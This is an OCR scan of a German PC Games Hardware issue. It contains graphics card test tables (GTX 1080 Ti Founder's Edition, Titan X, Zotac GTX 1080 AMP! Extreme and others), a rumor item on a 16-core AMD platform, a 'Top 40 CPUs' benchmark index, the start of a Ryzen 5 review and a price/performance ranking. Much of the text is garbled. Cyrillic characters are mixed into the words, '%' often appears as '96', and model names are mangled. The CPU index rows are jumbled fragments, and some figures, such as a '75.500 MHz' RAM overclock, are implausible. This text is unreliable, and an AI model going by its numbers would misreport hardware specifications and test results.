Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 


Custom-PCB mit 12 cm Breite (104-2 Phasen, Volt-Messpunkte, 
an-Anschlüsse), TDP: 275 Watt; Lüfter drehen ab —58 °С 


2,23 
46/70/70 Grad Celsius 


кә 


Referenzplatine mit 7 Phasen à 2 Mosfets (GPU), 2 Phasen für 
(RAM); TDP: 270 Watt; Lüfter drehen ab -63 °C 


2,26 
48/78/78 Grad Celsius 


Nvidia-Referenzplatine, TDP: 250 Watt; Lüfter- & Pumpensteue- 
rung im Test via Mainboard (Silent-Profil) 


2,02 
25/47/47 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,0 (passiv)/2,2 (45 %)/2,2 (45 %) Sone 


0,0 (passiv)/1,8 (93 %)/1,8 (93 96) Sone 


0,2/0,5/0,6 Sone (max. Drehzahl: 2,5 Sone) 


Spulenpfeifen/-zirpen (unter Last) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


16/22/19 Watt 


14/20/18 Watt 


12/18/15 Watt (zuzüglich Pumpe und Lüfter) 


Verbrauch Crysis 3/Anno 2070/Extremfall 


260/276/277 Watt (Powertarget: 100 Prozent) 


210/272/273 Watt (Powertarget: 100 Prozent) 


249/250/250 Watt (zuzüglich Pumpe und Lüfter) 


Maximale GPU-Übertaktung (UHD-stabil) 


2.050 MHz mit 100 96 Power/Voltage/Fan (+12 96) 


2.025 MHz mit 100 96 Power/Voltage/Fan (+10 96) 


2.025 MHz mit 100 96 Power/Voltage (+17 96) 


Maximale RAM-Übertaktung (UHD-stabil) 


6.200 MHz mit 100 96 Power/Voltage/Fan (+14 96) 


5.800 MHz mit 100 % Power/Voltage/Fan (+2 96) 


6.200 MHz mit 100 % Power/Voltage (+13 %) 


Spannungs-/Power-Änderung in Tools möglich? 


Ja (GPU bis 100 %; Powerlimit bis 120 96 (= 330W) 


Ja (GPU bis 100 96; Powerlimit bis 116 96 (= 315W) 


Ja (GPU bis 100 96; Powerlimit bis 120 96 (= 300W) 


Länge/Breite der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


FAZIT 


30,0 (PCB: 28,1)/4,6 cm; 2 x 8-Pol (vertikal) 
1,16 


© Sehr schnell 
© Spezialfunktionen für Tuner 
© RAM-/VRM-Kühlung nicht perfekt 


Wertung: 1,59 


30,2 (PCB: 26,7)/4,5 cm; 1 x 8-/1 x 6-Pol (vertikal) 
117 


© Zweitschnellste GTX 1080 Ti 
© Leiser Kühler ... 
© ... der aber kaum Reserven hat 


Wertung: 1,60 


26,7 (PCB: 26,7)/1,8 cm; 1 x 8-/1 x 6-Pol (vertikal) 
1,07 


© Kompletter Wakü-Kreislauf 
© Traumhafte Temperatur & Lautheit, OC-Potenzial 


© Hoher Preis 
Wertung: 1,63 
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Auszug aus Testtabelle 
mit 21 Wertungskriterien 


Produktname 
Hersteller/Webseite 


Geforce GTX 1080 Ti Founder's Edition 


Nvidia (www.nvidia.de) 


Titan X (Pascal) 


Nvidia (www.nvidia.de) 


GTX 1080 AMP! Extreme 


Zotac (www.zotac.com) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


Ca. € 750,-/ausreichend 


Nicht mehr lieferbar (UVP: 1.359,-) 


Ca. € 600,-/ausreichend 


PCGH-Preisvergleich 


www.pcgh.de/preis/1587602 


www.nvidia.de/object/geforce-desktop-graphics-cards-de.html 


www.pcgh.de/preis/1449220 


2D-Takt GPU/RAM (Spannung) 139/405 MHz (0,650 VGPU) 139/405 MHz (0,625 VGPU) 316/405 MHz (0,625 VGPU) 
3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 1.480 (Boost: 1.550+)/1.377 MHz (kein OC) 1.417 (Boost: 1.500+)/1.251 MHz (kein OC) 1.772 (Boost: 1.987+)/1.350 MHz (+15/+8 % ОС) 
Ausstattung (20 %) 2,33 2,18 2,20 

Speichermenge/Anbindung 11.264 MiByte (352 Bit) 12.288 MiByte (384 Bit) 8.192 MiByte (256 Bit) 


Speicherart/Hersteller 11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 10-Gbps-GDDR5X (Micron MT58K256M32JA-100) 10-Gbps-GDDR5X (Micron 6HA77 Z9TXT) 
Monitoranschlüsse 3 x Displayport (1.4-ready), 1 x HDMI 2.0b 3 x Displayport (1.4-ready), 1 x HDMI 2.0b, 1 x DVI-D 3 x Displayport (1.4-ready), 1 x HDMI 2.0b, 1 x DVI-D 
Kühlung Referenzdesign (Direct Heat Exhaust), Dual-Slot, Vollverschalung | Referenzdesign (Direct Heat Exhaust), Dual-Slot, Vollverschalung | Icestorm, Triple-Slot, 6 Heatp. (4 x 8 mm, 2 x 6 mm), 3 x 85 mm 

inkl. Radiallüfter & Backplate inkl. Radiallüfter & Backplate axial, Korpus bedeckt RAM, VRM-Kühler -- Backplate (o. Pads) 
Software/Tools/Spiele - - Firestorm (Tweak-Tool), Treiber 


Handbuch; Garantie 


Gedruckt (deutsch); 3 Jahre 


Gedruckt (deutsch); 3 Jahre 


Gedruckt (dt.); 2 Jahre (5 nach Registrierung bei Zotac) 


Kabel/Adapter/Beigaben 


DP-DVI-Adapter (nur single-link); Aufkleber 


2 x enthalten: 2x6-auf-8-Pol-Strom 


Sonstiges 


Eigenschaften (20 %) 
Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 


Platine: 7 Phasen mit je 2 Mosfets mit uP9511 (GPU), 
2 Phasen mit uP1685 (RAM); ausgelesene TDP: 250 Watt 


2,28 
31/86/86 Grad Celsius 


Platine: 7 Phasen (je 1 Mosfet) mit uP9511-Spannungs- 
controller (GPU); ausgelesene TDP: 250 Watt 


2,40 
31/86/86 Grad Celsius 


Custom-PCB mit 12 cm Breite (10 Phasen); ausgelesene TDP: 
270 Watt; Lüfter drehen ab -57 °C 


2,16 
39/75/75 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,4 (23 %)/4,0 (57 %)/4,4 (59 %) Sone 


0,5 (23 %)/4,9 (60 %)/4,9 (60 %) Sone 


0,0 (passiv)/1,7 (37 %)/1,9 (39 %) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


12,5/19/15 Watt 


12/17/14 Watt 


10/15/12 Watt 


Verbrauch Crysis 3/Anno 2070/Extremfall 


225/230/250 Watt (Powertarget: 100 Prozent) 


221/231/246 Watt (Powertarget: 100 Prozent) 


202/259/275 Watt (Powertarget: 100 Prozent) 


Maximale GPU-Übertaktung (UHD-stabil) 


1.900 MHz mit 100 96 Power/Voltage/Fan (+23 96) 


1.800 MHz mit 100 % Power/Voltage/Fan (+20 96) 


Nein (2.185)/nein (2.285)/ja (2.835 MHz) 


Maximale RAM-Übertaktung (UHD-stabil) 


6.000 MHz mit 100 96 Power/Voltage/Fan (+9 96) 


75.500 MHz mit 100 96 Power/Voltage/Fan (+10 96) 


Nein (1.485)/nein (1.555)/nein (1.620 MHz) 


Spannungs-/Power-Änderung in Tools möglich? 


Ja (GPU bis 100 %; Powerlimit bis 120 % (= 300W) 


Ja (GPU bis 100 %; Powerlimit bis 120 % (= 300W) 


Ja (GPU bis 100 %; Powerlimit bis 120 % (= 325W) 


Länge/Breite der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


FAZIT 


www.pcgameshardware.de 


26,7 (PCB: 26,7)/3,5 cm; 1 x 8-/1 x 6-Pol (vertikal) 
139 


© 11 GiByte Speicher 
© Energie-Effizienz 
© Schwacher, relativ lauter Kühler 


Wertung: 1,76 


26,7 (PCB: 26,7)/3,5 cm; 1 x 8-/1 x 6-Pol (vertikal) 
143 


© 12 GiByte Speicher 
© DVI-Ausgang (im Gegensatz zur 1080 Ti) 
© Schwacher, lauter Kühler 


Wertung: 1,77 


31,2 (PCB: 28,1)/5,0 cm; 2 x 8-Pol (vertikal) 
1,67 


© Schnellste GTX 1080 ... 
©... und außerdem leise & kühl 
© Leistungsaufnahme & Platzb 


Wertung: 1,87 


06/17 | PC Games Hardware 31 


AMD- und Intel-Prozessoren, Prozessorkühler, Wärmeleitpasten 


Prozessoren 


www.pcgameshardware.de/cpu 


AMD: Neuer Sockel für High-End-CPUs mit 16 Kernen? 


Die Ryzen-7-CPUs sind erst seit wenigen Wochen 
erhältlich, doch noch schnellere Modelle mit 12 
und 16 Kernen könnten in Kürze folgen. 


aut Gerüchten präsentiert AMD im Rahmen 

der vom 30. Mai bis zur 3. Juni stattfindenden 
Computex eine High-End-Plattform für Enthusi- 
asten. Die aus zwei Zeppelin-Dies bestehenden 
Prozessoren sollen bis zu 16 Kerne (32 Threads) 
bieten und Quad Channel unterstützen. Anstelle 
des Sockel AM4 soll die neue Fassung SP3r2 zum 
Einsatz kommen, eine Abwandlung des LGA4094- 
Sockels für die Server-Plattform Naples. Basis für 
die Gerüchte ist unter anderem ein zu einem Ali- 
enware-PC gehörender Eintrag in der Datenbank 
des Benchmarks Sisoft Sandra: Die Nummernfol- 
ge des unbekannten AMD-Prozessors weist auf 


ein Engineering Sample mit 12 Kernen sowie 
2,7 GHz Basis- und 3,2 GHz Turbotakt hin. Dem 
6 MiByte fassenden L2-Cache könnten 32 MiByte 
L3-Cache zur Seite stehen. Die TDP dürfte ober- 
halb der Ryzen-7-Modellreihe liegen; ein anderes 
Engineering Sample mit 3,1 GHz Basis- und 3,6 
GHz Turbotakt weist laut Canard PC Hardware 
180 Watt TDP auf. Die Prozessoren könnten 44 
PCI-E-3.0-Leitungen und der X390-Chip weitere 
8 Lanes bieten. Modellbezeichnungen sind noch 
nicht bekannt, die Preise scheinen ebenso wie 
die finalen Taktraten noch nicht festzustehen. 
Die AMD-Lösung wäre damit ein Gegenspieler 
zu Intels kommender High-End-Plattform auf Ba- 
sis von LGA2066, X299-PCH und Skylake-E (und 
Kaby Lake X), die angeblich ebenfalls zur Com- 
putex debütiert. (sw) 
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Bild: http://i.imgur.com/wmgsäZt.jpg 
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Die besten Hardware-, Spiele- und 
Filmschnáppchen - täglich aktualisiert! 
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PCGH-Index: Top 40 CPUs 


BESSER $ | Normierte Leistung 


Wi Gesamtindex Im Spieleindex Im Anwendungsindex 


Intel Core 17-6950Х E v: AMD Ryzen 5 1500x | ВЕНИ os 
3,0 GHz - 10/20: - So. 2011-3 | ТЕЙ 100 % NEU ËCH o AM4 

: 22:37 (3:193 F1:130 50:40 FCB:24.097 72:120 BLD:117 x264:61 A (3:14 nn 50:31 СВ:13.551 72:283 BLD:266 x264:126 
Preis: Ca. 1.780 Euro РІМ 8,6% | дсѕ: 137 DAI:138 FC4:90 — TW3:135 ЗОМР: 21.4301А5:90 CB15:1.805 yCr: 70 Preis: Са. 210 Euro РІМ 43,5% | ACS:94 DAI:100 FC4:94 — TW3:93  3DMP: 12.185 LR5: 123 CB15:818 yCr: 209 

Intel Core i7-6900K  awawa————wrVF s — Intel Core i7-4820K aww 6. 

3,2 GHz - 80/161 - So. 2011-3 3,7 GHz - 40/81 — So. 2011 

EL AJ:36 3:177 1:14 SC2:38 — FCBE:24761 7:16 BLD:143 x264: 72 — — A030 (3:10) Em — SQ:25 — FCB:13.908 72:227 BLD:318 x264:167 
Preis: Ca. 1.120 Euro РІМ 12,7 % | дсѕ: 136 ОАЕ: 136 FC4:89 — TW3:135 — 3DMP:19232185:93 CB15:1.483yCr: 75 Preis: Ca. 360 Euro РІМ 24,4 % | дсѕ: 105 DAI:109 FC4:92 — TW3:100 3DMP:9.92 LR5:147 CB15:664 yCr: 282 

Intel Core i7-5960X aww vn 5 Intel Core 15-7500 | iwaw. 

3,0 GHz — 8c/16t - So. 2011-3 34GHz-4d4t-So.1151 | ENE 43,6% 
A22:28 (3:164 F1:115 52:31 _ FCB:23464 72135 BLD:161 x264:81 A22:29 (39 np 50:44 FCB:11455 72:275 BLD:361 264139 
Preis: Ca. 1.150 Euro РІМ 11,2 % | ACS:127 рА:130 FC4:84 TW3:124 ЗМР: 16.203 LR5: 108 CB15: 1.329yCr: 81 Preis: Ca. 195 Euro РІМ 439% | ACs:94 — DAI:103 FCA:112 TW3:89 3DMP:8.101 LR5:142 СВ15:610 yCr:143 

Intel Core i7-7700K |: |. Intel Core 17-3770К | En о: 

4,2 GHz- Acf8t - So. 1151 3,5 GHz - 40/81 — So. 1155 % 

А22:40 — C3:144 na Op — FCB:17733 7:184 BLD:205 x264:94 A22:29 (3:102 nm 50:27 FCB:13908 72:217 BLD:316 264163 
Preis: Ca. 345 Euro РІМ 35,4% | Acs:131 рА:138 FC4:131 TW3:126 — 3DMP: 14.240 LR5: 118 CB15:974 yCr:98 Preis: Са. 370 Euro РІМ 23,3 % | дсѕ:100 DAI:103 FC4:92 — TW3:95 —— 3DMP:9.926 LR5:154 СВ15:679 yCr:292 

AMD Ryzen 7 1800x WWG 3 — Intel Core 17-990Х | aww 
3,6 GHz – 8/16: - So. АМА 3,46 GHz - 60/121 - So. 1366 52,5% 

- A22:32 C3:150 Р1:93 Om — FCB:23443 77:182 BLD:140 264:64 - 40:8 (3:119 na 52:17 FCB:18987 72:232 BLD:243 ›264:139 
Preis: Ca. 510 Euro РІМ 24,8% | дсѕ: 110 — DAE 114 FC4:77 TW3:110 ` 3DMP: 19.312 LR5: 105 CB15: 1.639yCr: 109 Preis: Ca. 940 Euro PIV 94% | Acc. 95 DAI:92 FC4:72 — TW3:82  3DMP: 12.349 LR5: 157 CB15:822 yCr:322 

Intel Core 17-6800 ME: Intel Core i5-6600K НЕ 577° 
3,4 GHz- 6c/12t— So. 2011-3 | EZ 3,5 GHz — Act — 50.1151 43,7% 

А22:34 (3:14 F1:104 — SC2:34 FCB:19695 72170 BLD:186 264:97 A22:25 (389 Р1:59 SC2:40 FCB:11479 72:281 BLD:360 x264:139 
Preis: Ca. 415 Euro РІМ 289% | дсѕ: 130 DAI:131 FC4:93 — TW3:118 3DMP:15.6441R5:111 CB15:1.114yCr: 108 Preis: Ca. 225 Euro РІМ 36,6 % | ACS:89 DAI:97 FCA:106  TW3:84 ` 3DMP:8.106 LR5:139 CB15:611 уст: 142 

Intel Core i7-5930K awa un ____ InteCorei5-7400 | awasi 67 
3,5 GHz 6/121— So. 2011-3 3,0 GHz - 4041 — So. 1151 40,5% 

A22:33 (3:154 nimm On К8:19845 72165 BLD:198 x264:102 - A22:26 (387 ng sm — FCB:10.594 72:286 BLD:392 x264:150 
Preis: Ca. 620 Euro РІМ 189% | дсѕ: 127 DAI:130 FC4:94 — TW3:119 — 3DMP: 13.942 LR5: 116 CB15: 1.086 yCr: 107 Preis: Ca. 175 Euro РІМ 457% | Ace: 91 DAI:97 FC4:107 ТАЗ:84 3DMP:7.431 LR5:152 СВ15:552 yCr:154 

Intel Core i7-5775C | ШШЕН 5: _____ Intel Core i5-4690K | EEE 5.5 
3,3 GHz - Aci8t - So. 1151 35GHz-4d4t-5o.1150 | EAA 41,0% 

A22:40 (3:19 nä 52:47 FCB:14590 72:195 BLD:257 5264:125 A22:31 — C3:90 na 50:36 КОВ:12033 72:288 BLD:368 x264:163 
Preis: Са. 400 Euro РІМ 27,8% | ACS: 127 рА:139 FC4:128 TW3:131 3DMP:12.278 LR5: 133 CB15:787 yCr:139 Preis: Са. 250 Euro PLV 31,5% | ACS:85 DAI:85 FC4:98 — TW3:80 ЗОМР: 7.482 LR5:150 CB15:565 yCr:168 

Intel Core 17-670 aaa - Intel Core 15-6500 | ЕЕЕ >: 

4,0 GHz — AclBt — So. 1151 34GHz-4dAt-So.1151 | EEA 40,4% 

- A22:37 (3137 na 52:55 FCB:16491 72:195 BLD:222 x264:102 - Ai (3:83 na 50:35 СВ:10.519 72:293 BLD:394 x264:148 
Preis: Ca. 320 Euro РІМ 35,4% | дсѕ: 20 рА:133 FC4:124 TW3:119 — 3DMP:13.028 LR5: 127 CB15:890 yCr:106 Preis: Са. 205 Euro PIV 37,7% | ACS:89 рА:92 FC4:96 ТАЗ:81 3DMP:7.426 1А5:152 CB15:561 уст: 156 
AMD Ryzen 7 1700Х | bkTÚz08EK]KRRIGUKE J| Á| Intel Core i5-4670K | awwal o 
3,4 GHz — 80/161 — So. AM4 3,2 GHz — Act — So. 1150 39,9% 

A22:31 (316 Dn Om — FCB:21.955 72:189 BLD:149 ›26467 - A22:31 (3:88 na 50:33 КОВ:11739 72:300 BLD:382 x264:166 
Preis: Ca. 390 Euro PIV 31% | ACS:106 DAI:109 РС4:75 — TW3:105 — 3DMP: 18.246 LR5: 111 CB15:1.557yCr: 113 Preis: Ca. 240 Euro РІМ 32,1% | ACS:84 — DAF83 FC4:96 ТАЗ:80 3DMP:7.280 LR5:153 СВ15:551 уст: 173 

Intel Core i7-5820K | ШЕНЕ: AMD FX-9590 ws 
3,3 GHz-6c/12t-50.2011-3 | ЕЙ 4,7 GHz — Am/8t — So.AM3+ 

- A22:32 (3:149 1:10) SC2:32 — FCB:18.880 72:168 BLD:203 ›264:104 - A22:28 (3% np 50:20 FCB:15.018 77:208 BLD:415  064:138 
Preis: Ca. 415 Euro PIV 27,5% | acs:122 DAE 129 FC4:92 — TW3:115 — 3DMP: 13.589 LR5: 119 CB15: 1.022 yCr: 110 Preis: Ca. 175 Euro PLV 45,3 | Acs:81 Одев FC4:79 TW3:81 ` 3DMP:8407 LR5:146 CB15:727 yCr:256 

[МЕШ АМО Ryzen 5 1600Х |:  — Intel Core 17-2600 Н :: 1° 

3,6 GHz — 60/121 S0. AM4 3,4 GHz — 4081— So. 1155 

- A22:31 (3:12 nm Om — FCB:19.066 72229 BLD:181 264:84 - A22:27 (392 nm 52:20 FCB:13.134 72:253 BLD:351 264190 
Preis: Ca. 280 Euro РІМ 40,1% | дсѕ: 107 DAI:113 FC4:84 — TW3:104 ` 3DMP: 17.113 LR5: 111 CB15: 1.244yCr: 147 Preis: Ca. 290 Euro РІМ 26,2% | Ace: g5 DAI:89 FC4:83 — TW3:84 ` 3DMP:8.971 LR5:175 СВ15:619 yCr:317 

Intel Core D Agen | BERE 750 Intel Core i3-7350K | awas 

3,6 GHz - 6c/12t = 4,2 GHz — 24t — So. 1151 

а A22:31 (3137 1:102 wi СВ:19.953 72:159 BLD:219 x264:112 - A22:27 om na sm СВ:8.724 72:332 BLD:417 264191 
Preis: Ca. 1.140 Euro PLV 96% | Acs:120 DAI:122 FC4:84 TW3:114 ` 3DMP: 13.914 LR5: 114 CB15: 1.000 yCr: 207 Preis: Са. 190 Euro РІМ 38,5% | ACS:81 DAI:90 FC4:108 TW3:78 З0МР: 7.238 LR5:196 CB15:462 yCr:195 

АМО Ryzen 71700 |w en, dJ-JÁ Intel Core і5-3570К | НЕ >: 

3,0 GHz — &c/16t So. 2011 34GHz-4d4t-$o.1155 | BEA 

- A (3137 nm wm — FCB:20.633 72:201 BLD:161 x264: 73 - A22:28 (3:0 na SC2:26 СВ:10.891 72:285 BlD:431  3064:199 
Preis: Ca. 340 Euro PIV 33,5 % | дс: 105 — DAE 104  FCA:70 — TW3:102 ` 3DMP: 16.798 LR5: 117 CB15: 1.426yCr: 122 Preis: Ca. 265 Euro PLV 27,3 % | Acs:82 Dags FC4:97 — TW3:76 — 3DMP:6953 LR5:159 CB15:524 yCr: 348 

Intel Core 17-3960Х ШИНЕ 25. AMD FX-8370 E an, 

3,3 GHz - 6c/12t- So. 2011 4,0 GHz-4m/8t-So.AM3+ | БЭ 
= A22:30 (3131 np wi СВ:19.757 72:163 BLD:235 x264:123 : A22:23 (3:8 na Ou FCB:13423 7:219 BLD:465 x264: 154 
Preis: Ca. 1.000 Euro PIV 10,6 % | acs:118 DAI:118 FC4:83 — TW3:112 — 3DMP:13.357 LR5: 129 СВ15:955 yCr: 215 Preis: Ca. 160 Euro PIV 457% | ACS:77 DAI:76 ЕС4:75 TW3:77 З0МР: 7.842 LR5:157 CB15:649 yCr: 269 

Intel Core i7-4790K | HERES» |. AMD FX-8350 wa 
4,0 GHz — 40/81 So. 1151 4,0 GHz — 4m/8t — So. AM3-- 

- AM (3:109 Dn  SC2:44 FCB:16360 7z:197 BLD:231 x264: 122 - A22:22 (3:88 na 52:14 FCB:13.024 72:220 BLD:466 x264: 154 
Preis: Са. 360 Euro PIV 28,8 % | acs:110 — pap 113. FC4:113 TW3:105 ` 3DMP: 11.924 LR5: 132 CB15:857 yCr:128 Preis: Ca. 130 Euro PLV 55,8 % | acs:76 Dame FC4:74 — TW3:76 ЗОМР: 7.844 1А5: 158 CB15:641 yCr:270 
Intel Xeon ЕЗ-1230 > | BEER o5 Intel Core 13-6100 | EEE x 
3,4 GHz – 40/81 — So. 1151 3,7 GH2-204t-50.115 | ЕЙ 

- A22:31 (3:118 ni 50:39 FCB:14518 72:221 BLD:248 ›264:114 : A22:23 Gm nam — SC2:40 S 72:384 BLD:473 х264:216 
Preis: Ca. 275 Euro PIV 36,3 % | acs:109 DAI:115 FC4:112 TW3:105 — 3DMP:11.618 LR5: 140 CB15:799 yCr: 117 Preis: Ca. 115 Euro PLV 55,6 % | acs:71ı Dua FCA:93 TW3:68 — 3DMP:6.425 1А5:230 CB15:405 yCr: 221 

Intel Core 17-4770 ШИНЕ en,  /»h4hJEl AMD FX-8300 ws 
3,5 GHz- 4c/8t- So. 1150 | XD 3,3 GHz — 4m/8t- So.AM3+ | EET T Ol 

A22:30 (3:119 F1:69 wun КВ:15223 7z:211 BLD:247 x264: 129 - A2221 Ou na 50:10 FEI 72:237 BLD:560 x264: 183 
Preis: Ca. 360 Euro PIV 27% | Acs:105 DAF407 FC4:108 TW3:101 ЗОМР: 11.083 185: 142 СВ15:797 ус:134 Preis: Ca. 100 Euro PLV 643% | acs: у — pares FC4:65 TW3:71 ЗОМ: 6.638 LR5:177 CB15:530 yCr: 327 

Intel Core i5-7600K | BE 28. f intel Pentium G4560 | lj www 5 
3,8 GHz — 4c4t - So. 1151 3,5 GHz — 2044 — So. 1151 

- 22:30 (3:102 F1:68 50:50 КВ:12716 72:256 BLD:332 x264:126 - AM (36 na wO — FCB:7301 — 72:391 В10:510 x264: 250 
Preis: Ca. 240 Euro PIV 38,6% | acs:100 DA 111 FC4:117 TW3:95 — 3DMP:9.013 185:129 CB15:676 yCr:130 Preis: Ca. 60 Euro PLV 100% | дс: DAI:76 oun — TW3:65 —— 3DMP:6.02 LR5:235 CB15:382 yCr:622 

Intel Core 15-5675С | EEE: Intel Core 15-2500 | EEE t 
3,1 GHz — 4c/4t - So. 1150 33GHz-4d4t-5o.1155 | BEA 

- A22:39 (39% np 50:44 FCB:11377 72:279 BLD:387 x264: 160 - 40:25 On Ha 50:20 FCB:10.131 72:351 BLD:493 — 3264:237 
Preis: Ca. 295 Euro PIV 30% | дс: — DAIF108 FC4:125 TW3:92  3DMP:8.339 LR5:140 CB15:567 yCr:176 Preis: Ca. 190 Euro РІМ 32,5 % | Acs:70 nam FC4:81 — TW3:63  3DMP:6.192 LR5:186 СВ15:462 yCr:393 


Spiele (links): Anno 2205, Assassin's Creed Syndicate, Crysis 3, Dragon Age: Inquisition, F1 2015, Far Cry 4, Starcraft 2 LotV, Witcher 3: gerundete Durchschnitts-Fps in 1.280 x 720 (max. Details außer Post-Processing, Ambient Occlusion, 


AA und АЕ), mehr ist besser. Anwendungen (rechts): Fritz Chessbench, 3D Mark Firestrike Physics, Cinebench R15: Punkte (mehr ist besser), 7-Zip 15.21, Lightroom 5.7.1, Blender 2.76, x264, y-Cruncher: Sekunden (weniger ist besser) 


System: 8 GiByte je Speicherkanal, Turbo und Energiesparfeatures an; Windows 10 64 Bit, Grafikkarte: Geforce GTX 980 Ti @ 1.380/3.900 MHz 


www.pcgameshardware.de 
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PROZESSOREN | AMD Ryzen 5 


Ryzen 5: Hex-Hex...Quad 


Mit dem Ryzen 5 bringt AMD seine neue Architektur in den Preisbereich unter 300 Euro und greift 


Intel hier nicht nur mit einer Überzahl an Kernen an. Wie schlagen sich R5-1600X und -1500X im Test? 


MD ist im Aufwind. Die neue 
yzen-Architektur hat die 
hauseigenen Prozessoren auf einen 
Schlag wieder konkurrenzfähig 
gemacht und das bisschen, was 
an Performance noch fehlt, macht 
AMD mit phänomenal günstigen 
Preisen bei den Achtkernern wett. 
Doch nicht jeder kann oder will 
über 300 Euro für einen Prozessor 
ausgeben - und hier kommt die Ry- 
zen-5-Reihe ins Spiel, die AMD mit 
vier Modellen bestückt. Zwei davon 
- der jeweils schnellere Sechs- und 
Vierkerner - geben sich im PCGH- 
Testlabor ein Stelldichein. 
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Hex-Hex, Quad-Quad 

Obwohl alle Modelle unter der 
Ryzen-5-Flagge segeln, fasst AMD je 
zwei Sechs- und Vierkerner zusam- 
men. Immerhin: Die Sechskerner 
erkennt man derzeit außer am Preis 
auch an der „6“ in ihren Modellnum- 
mern: Ryzen 5 1600X und 1600 sind 
mit sechs und damit zwei Kernen 
mehr als die Intel-CPUs in dieser 
Klasse bestückt. Dazu gesellen sich 
mit dem Ryzen 5 1500X und dem 
1400X zwei Vierkerner - die genau- 
en technischen Daten sowie die von 
AMD im Vorfeld angegebenen Prei- 
se hält die Tabelle auf der folgenden 


Doppelseite für Sie parat. Gegen- 
über Intels Vierkern-Angeboten in 
derselben Preisklasse bieten AMDs 
Ryzen-5-Modelle wesentlich 
fangreichere Tuning-Optionen wie 
einen frei wählbaren Multiplikator. 
Darüber hinaus ist bei allen ange- 
kündigten Ryzen-5-Modellen Simul- 
taneous Multithreading aktiviert, 
was dem Betriebssystem pro Kern 
eine weitere virtuelle Ausführungs- 
einheit vorgaukelt und die Leistung 
steigern kann. Das funktioniert so: 
Werden die Recheneinheiten nicht 
ausreichend mit Daten gefüttert, 
können in den anfallenden Warte- 


um- 


zeiten diese logischen Kerne zu- 
sätzliche Aufgaben annehmen. Der 
Nutzen variiert. Im Test haben wir 
beim Cinebench R15 einen Zuge- 
winn von bis zu 40 Prozent gemes- 
sen, in Far Cry 4 kostet SMT - wie 
bei Intel-CPUs auch - hingegen 
Performance. Letzteres war in den 
SMT-Anfangstagen gang und gäbe, 
wird heutzutage glücklicherweise 
aber immer seltener. 


Die finanzielle Einstiegshürde für 
aktuelle Sechskern-CPUs sinkt mit 
Ryzen 5 von rund 415 auf unter 280 
Euro um mehr als ein Drittel, die für 
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. Li .. Li Li Li Ch . 
Preis-Leistungs-Verhàltnis: Prozessoren bis 500 Euro in der Ubersicht 
500 Q 500 
ш Intel-Prozessoren РА 
450 B AMD-Prozessoren Р 450 
= Trendlinie CPUs bis 500 Euro u © 
400 | -- Trendlinie auf Basis aller CPUs 2 400 
350 350 
e 
2 300 300 
£ 
EJ 250 250 
9 
Se 
е. 
3 200 200 
= 
150 150 
100 100 
mi 50 
0 0 
0 10 20 30 40 50 60 70 80 90 100 
Normierter PCGH-Leistungsindex (jeweils acht Spiele und Anwendungen) in Prozent 
Prozessor Gesamt- Spiele- Leistungs- Prozessor Gesamt- Spiele- Leistungs- Prozessor Gesamt- Spiele- Leistungs- 
Index Index index Index Index index Index Index index 
Preis/Leistung | Preis/Leistung Preis/Leistung | Preis/Leistung Preis/Leistung | Preis/Leistung 
1 | Intel Pentium G4560 100% 100% 43,8% 15 | AMD FX-9590 45,3% 37,0% 54,1% 29 | AMD Ryzen 7 1700 33,4% 23,7% 74,4% 
2 | AMD Athlon X4 845 91,8% 81,2% 28,9% 16 | Intel Core i5-7500 43,9% 40,3% 60,7% 30 | Intel Core i5-2500K 32,5% 29,7% 43,7% 
3 | AND FX-4300 81,2% 74,3% 31,6% 17 | AND Ryzen 5 1500X 43,4% 36,8% 62,9% 31 | Intel Core i5-4670K 32,1% 29,0% 54,2% 
4 | AMD A8-7600 73,4% 65,0% 28,3% 18 | AMD A10-6800K 42,0% 37,0% 30,8% 32 | Intel Core i5-4690K 31,5% 28,4% 55,5% 
5 | AMD FX-6300 71,5% 63,2% 40,0% 19 | AMD Ryzen 5 1600X 40,0% 30,6% 75,0% 33 | AMD Ryzen 7 1700X 31,0% 21,6% 78,6% 
6 | AMD FX-8300 64,3% 54,0% 44,2% 20 | Intel Core i5-7600K 38,6% 34,9% 65,2% 34 | Intel Core i5-5675C 30,0% 29,0% 63,7% 
7 | Intel Pentium G4400 62,8% 51,7% 23,6% 21 | Intel Core i3-7350K 38,5% 37,6% 52,9% 35 | Intel Core i7-4790K 28,8% 24,7% 71,8% 
8 AMD FX-6350 60,8% 52,7% 42,3% 22 | Intel Core i5-6500 37,7% 33,8% 54,3% 36 | Intel Core i7-6800K 28,7% 23,2% 81,6% 
9 | AMD FX-8350 55,8% 45,8% 49,6% 23 | AMD A10-7870K 36,7% 32,7% 30,9% 37 | Intel Core i7-5775C 27,8% 26,1% 79,3% 
10 | Intel Core i3-6100 55,6% 54,2% 46,2% 24 | Intel Core i5-6600K 36,6% 32,5% 57,7% 38 | Intel Core i7-5820K 27,5% 22,7% 78,1% 
11 | AMD A10-7800 54,6% 48,3% 28,6% 25 | Intel Xeon E3-1230 v5 36,3% 31,5% 69,5% 39 | Intel Core i5-3570K 27,3% 25,2% 51,3% 
12 | AMD FX-8320E 52,3% 43,8% 43,2% 26 | Intel Core i7-7700K 35,4% 31,0% 85,2% 40 | Intel Core i7-4770K 27,0% 23,3% 67,5% 
13 | Intel Core i5-7400 45,7% 42,1% 56,7% 27 | Intel Core i7-6700K 35,4% 31,1% 79,1% 41 | Intel Core i7-2600K 26,2% 23,1% 53,1% 
